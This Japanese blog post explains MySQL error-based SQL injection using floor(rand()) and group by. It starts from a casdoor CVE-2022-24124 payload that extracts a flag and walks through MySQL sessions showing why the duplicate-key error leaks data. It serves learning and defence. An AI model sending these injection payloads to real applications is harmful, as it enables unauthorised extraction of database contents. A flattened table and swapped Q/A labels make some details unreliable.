xMay

xMay

A cyber-security researcher

sqlインジェクション-フロアエラーインジェクション原理学習

起源#

casdoor-CVE-2022-24124 注入漏洞 payload 再现的疑问#

/api/get-organizations? p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(select 123 from (select count (*), concat ((select (value) from flag limit 1),'~', floor (rand (14)*2)) x from (select 1 union all select 2) as t group by x) x) 

Q:なぜここで必ず floor (rand (14)*2)) を使わなければならないのか?rand の引数を別の数字に変えてもダメなのか?
A:文末でまとめます

Payload は一般的にこのようになります#

select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;

結果は一般的にこのようになります#

ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

前置き#

テーブルを作成します。それを users と呼びましょう#

mysql> create database sqli;
Query OK, 1 row affected (0.02 sec)

mysql> use sqli;
Database changed

mysql> create table users (id int(3),username varchar(100),password varchar(100));
Query OK, 0 rows affected (0.06 sec)

mysql> desc users;
+----------+--------------+------+-----+---------+-------+
| Field    | Type         | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id       | int(3)       | YES  |     | NULL    |       |
| username | varchar(100) | YES  |     | NULL    |       |
| password | varchar(100) | YES  |     | NULL    |       |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.03 sec)

データをいくつか挿入します#

mysql> insert into users values(1,'admin',md5('123456'));
Query OK, 1 row affected (0.03 sec)

mysql> insert into users values(1,'laolao',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'guairui',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'jiangjiang',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'moss',md5('12345'));
Query OK, 1 row affected (0.01 sec)

mysql> insert into users values(1,'ltpp',md5('12345'));
Query OK, 1 row affected (0.01 sec)

関数を学びましょう#

As

1. 列のエイリアス#

ここではasキーワードを使用して、idusernamepassword列にそれぞれエイリアスユーザーIDユーザー名パスワードを指定しています。

mysql> select id as 'ユーザーID',username as 'ユーザー名',password as 'パスワード' from users;
+----------+------------+----------------------------------+
| ユーザーID | ユーザー名 | パスワード                       |
+----------+------------+----------------------------------+
|        1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|        2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|        3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|        4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|        5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|        6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|        7 | year       | e358efa489f58062f10dd7316b65649e |
+----------+------------+----------------------------------+
7 rows in set (0.00 sec)

2. テーブルのエイリアス#

mysql> desc employees;
+----------+-------------+------+-----+---------+-------+
| Field    | Type        | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| emp_id   | int(11)     | NO   | PRI | NULL    |       |
| emp_name | varchar(50) | YES  |     | NULL    |       |
| dept_id  | int(11)     | YES  | MUL | NULL    |       |
+----------+-------------+------+-----+---------+-------+
3 rows in set (0.01 sec)

mysql> desc departments;
+-----------+-------------+------+-----+---------+-------+
| Field     | Type        | Null | Key | Default | Extra |
+-----------+-------------+------+-----+---------+-------+
| dept_id   | int(11)     | NO   | PRI | NULL    |       |
| dept_name | varchar(50) | YES  |     | NULL    |       |
+-----------+-------------+------+-----+---------+-------+
2 rows in set (0.01 sec)

ここでdept_nameにエイリアスdepartmentを設定し、employeesdepartmentsテーブルにそれぞれedのエイリアスを設定します。

内部結合 -- INNER JOIN#

ONは 2 つのテーブルを結合する条件を指定するための SQL キーワードで、通常はJOINと一緒に使用されます。

mysql> SELECT e.emp_name, d.dept_name AS department
    -> FROM employees AS e
    -> INNER JOIN departments AS d
    -> ON e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name    | department  |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+

where は内部結合と on の条件を同じ効果で実現できますが、推奨されません。なぜなら、デカルト積を形成し、予測できない問題を引き起こす可能性があるからです。

mysql> SELECT e.emp_name, d.dept_name
    -> FROM employees AS e, departments AS d
    -> WHERE e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name    | dept_name   |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+
6 rows in set (0.01 sec)

自然結合 -- NATURAL JOIN#

mysql> select e.emp_name,d.dept_name FROM employees as e NATURAL JOIN departments as d;
+-------------+-------------+
| emp_name    | dept_name   |
+-------------+-------------+
| John Smith  | Engineering |
| Lisa Jones  | Marketing   |
| Peter Lee   | Engineering |
| Karen Kim   | Sales       |
| Mike Chen   | Engineering |
| Amy Johnson | Finance     |
+-------------+-------------+
6 rows in set (0.00 sec)

自然結合は、条件の指定において内部結合と主に異なります。自然結合は条件を指定する必要がなく、内部結合は ON または USING キーワードで条件を限定する必要があります。

自然結合は、2 つのテーブルの共通の列に基づいて結合されます。その欠点は、予期しない結果が発生する可能性があることです。

USING 結合の利点は、結合条件をより簡潔に明確にできることですが、結合条件は 2 つのテーブルの同名の列でなければならないため、USING 結合を使用する際には命名の衝突が発生する可能性があります。したがって、一般的には ON 結合を使用して結合条件を指定することをお勧めします。

floor(rand(0)*2)

mysql> select count(*) from users group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

sqli1の 1 は floor (rand (0)*2) から来ており、sqli1が重複していると言っているので、以前のテーブルにこの主キーがすでに存在していることを示しています。database () は固定されているので、次に '1' を生成する floor (rand (0)*2) を見てみましょう。

rand () は数学関数で、ランダムな浮動小数点値を返します。

mysql> select rand();
+---------------------+
| rand()              |
+---------------------+
| 0.31095878529451676 |
+---------------------+
1 row in set (0.01 sec)

mysql> select rand();
+--------------------+
| rand()             |
+--------------------+
| 0.8337753562571252 |
+--------------------+
1 row in set (0.01 sec)

整数パラメータ N を指定すると、この N はシード数(ランダム因子とも呼ばれる)と呼ばれます。rand () はこのシード数に基づいてランダムに生成され、繰り返しのシーケンスを生成します。つまり、シード数が同じ場合、rand (N) の再計算された値は同じです。

mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0)             |
+---------------------+
| 0.15522042769493574 |
|   0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)

その後の * 2 は、データを取得する範囲 [0,2] を選定するもので、実際には 2 倍することを意味します。

mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
+--------------------+
2 rows in set (0.01 sec)

mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2          |
+--------------------+
| 0.3104408553898715 |
|  1.241763483026776 |
+--------------------+
2 rows in set (0.00 sec)

floor () も数学関数で、切り捨てを行い、x 以下の最大の整数値を返します。例えば、floor (3.3) は 3 を返し、floor (-3.3) は - 4 を返します。

mysql> select floor(3.3),floor(-3.3);
+------------+-------------+
| floor(3.3) | floor(-3.3) |
+------------+-------------+
|          3 |          -4 |
+------------+-------------+
1 row in set (0.00 sec)

users テーブルのデータ件数を計算して、floor (rand (0)*2) の値を見てみましょう。

mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
7 rows in set (0.01 sec)

mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
7 rows in set (0.01 sec)

rand (0) の値が確かに固定されていることがわかります。

concat()

concat は文字列結合関数で、複数の文字列を結合します。文字列に NULL が含まれている場合は NULL を返します。

このように見ると、concat の結果は sqli0 または sqli1 であるべきです。

group by と count (*)

count (*) は集約関数で、値の数を返します。*はすべてのフィールドを示すワイルドカードです。

select count() from users と select count (column_name) from users の違いは、count () は NULL を除外せず、count (column_name) は NULL を除外します。

mysql> insert into users values(8,NULL,NULL);
Query OK, 1 row affected (0.02 sec)

mysql> select * from users;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|  2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|  3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|  4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|  5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|  6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|  7 | year       | e358efa489f58062f10dd7316b65649e |
|  8 | NULL       | NULL                                 |
+----+------------+----------------------------------+
8 rows in set (0.00 sec)

mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
|        8 |
+----------+
1 row in set (0.00 sec)

mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
|               7 |
+-----------------+
1 row in set (0.01 sec)

現在の users テーブルのデータを見てみましょう。

mysql> select * from users;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | admin      | e10adc3949ba59abbe56e057f20f883e |
|  2 | laolao     | 827ccb0eea8a706c4c34a16891f84e7b |
|  3 | guairui    | 827ccb0eea8a706c4c34a16891f84e7b |
|  4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
|  5 | moss       | 827ccb0eea8a706c4c34a16891f84e7b |
|  6 | ltpp       | 827ccb0eea8a706c4c34a16891f84e7b |
|  7 | year       | e358efa489f58062f10dd7316b65649e |
|  8 | admin      | c4ca4238a0b923820dcc509a6f75849b |
|  9 | bing       | c81e728d9d4c2f636f067f89cc14862c |
| 10 | admin      | d3d9446802a44259755d38e6d163e820 |
+----+------------+----------------------------------+
10 rows in set (0.01 sec)

select count (*) from users group by username; というクエリを使用して、group by の動作プロセスを理解します。

mysql> select count(*) from users group by username;
+----------+
| count(*) |
+----------+
|        3 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
|        1 |
+----------+
8 rows in set (0.01 sec)

group by は実行時に、クエリテーブルのレコードを順に取得し、一時テーブルを作成します。group by のパラメータはその一時テーブルの主キーです。

一時テーブルにすでにその主キーが存在する場合、値は + 1 され、存在しない場合はその主キーが一時テーブルに挿入されます。注意すべきは挿入されることです!


最初に username->admin を取得したとき、一時テーブルにはその主キーが存在しないため、admin を主キーとして挿入し、count (*) の値を 1 にします。

次に username->laolao を取得したとき、一時テーブルにはその主キーが存在しないため、admin を主キーとして挿入し、count (*) の値を 1 にします。

...

元のテーブルの第 8 条 admin を取得したとき、同様に admin を主キーとして一時テーブルに挿入し、count (*) の値を 1 にします。

第 10 条 admin を取得したとき、一時テーブルにすでに admin が主キーとして存在するため、count (*) を直接 + 1 します。


可視化すると以下のようになります。

mysql> CREATE TABLE temp_table
    -> SELECT username as 'key',count(*) from users group by username;
Query OK, 8 rows affected (0.05 sec)
Records: 8  Duplicates: 0  Warnings: 0

mysql> select * from temp_table;
+------------+----------+
| key        | count(*) |
+------------+----------+
| admin      |        3 |
| bing       |        1 |
| guairui    |        1 |
| jiangjiang |        1 |
| laolao     |        1 |
| ltpp       |        1 |
| moss       |        1 |
| year       |        1 |
+------------+----------+
8 rows in set (0.01 sec)

A:なぜこの結果ではなく、主キーの重複エラーが発生したのか?

Q:なぜなら、もう一つ重要な特性があり、group by と rand () を使用する際、一時テーブルにその主キーが存在しない場合、挿入前に rand () が再計算されるからです(つまり、2 回計算されることもあり、何回も計算されることもあります)。この特性が主キーの重複を引き起こし、エラーを報告します。

Payload の実行フロー#

mysql> SELECT count(*)
    -> from users
    -> GROUP BY
    -> concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'

payload の実行中、group byが最初のfromテーブルのレコードを取得する際、group bysqli0であり、一時テーブルにはsqli0の主キーが存在しないことがわかります。この時、rand(0)*2が再計算され、floor()を経て、最初に一時テーブルに挿入される主キーはsqli0ではなくsqli1となり、カウントは 1 になります。

レコードキーCount(*)floor(rand(0)*2)
Sqli000
1Sqli101
Sqli111
2Sqli010
Sqli121
3sqli131
sqli020
4sqli030
sqli141
5sqli151

次にfromテーブルの第 3 条レコードを取得し、再度 floor (rand (0)*2) を計算します。その結果は 0 で、database () と結合されてsqli0となります。一時テーブルの主キーには存在しないため、挿入前に floor (rand (0)*2) が再計算され、結合後の結果は sqli1 となりますが、強制的に挿入されます。たとえ一時テーブルにすでに主キーsqli1が存在していても、強制的に挿入されるため、主キーの重複エラーが発生します。つまり、ERROR 1062 (23000): Duplicate entry (エントリ) 'sqli1' for key 'group_key' です。

最適化#

Floor (rand (0)*2) の値は 011011... ですが、実際には 3 回目の計算結果は必要ありません。もし floor (rand (x)*2) が 0101 または 1010 を満たさない場合、from テーブルに 2 つのデータがあればエラーが発生します。

多くの実験を経て、floor (rand (14)*2) の値は 1010000... であることがわかりました。したがって、2 つのデータのみを持つテーブルを作成して試してみましょう。

mysql> select * from test;
+------+-------+------------+
| id   | name  | tel        |
+------+-------+------------+
|    1 | test  | 1111111111 |
|    2 | test2 |  222222222 |
+------+-------+------------+
2 rows in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(0)*2));
+----------+
| count(*) |
+----------+
|        2 |
+----------+
1 row in set (0.01 sec)

mysql> select count(*) from test group by concat(database(),floor(rand(14)*2));
ERROR 1062 (23000): Duplicate entry 'sqli0' for key 'group_key'

つまり、実際の侵入において、エラー注入に使用する floor (rand (14)*2) は rand (0) よりも効果的であることがわかります。

さらに、もしテーブルに 1 つのデータしか存在しない場合、この時エラー注入は使用できません。結局、1 つのデータしかない場合、主キーの重複エラーは発生しないからです。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。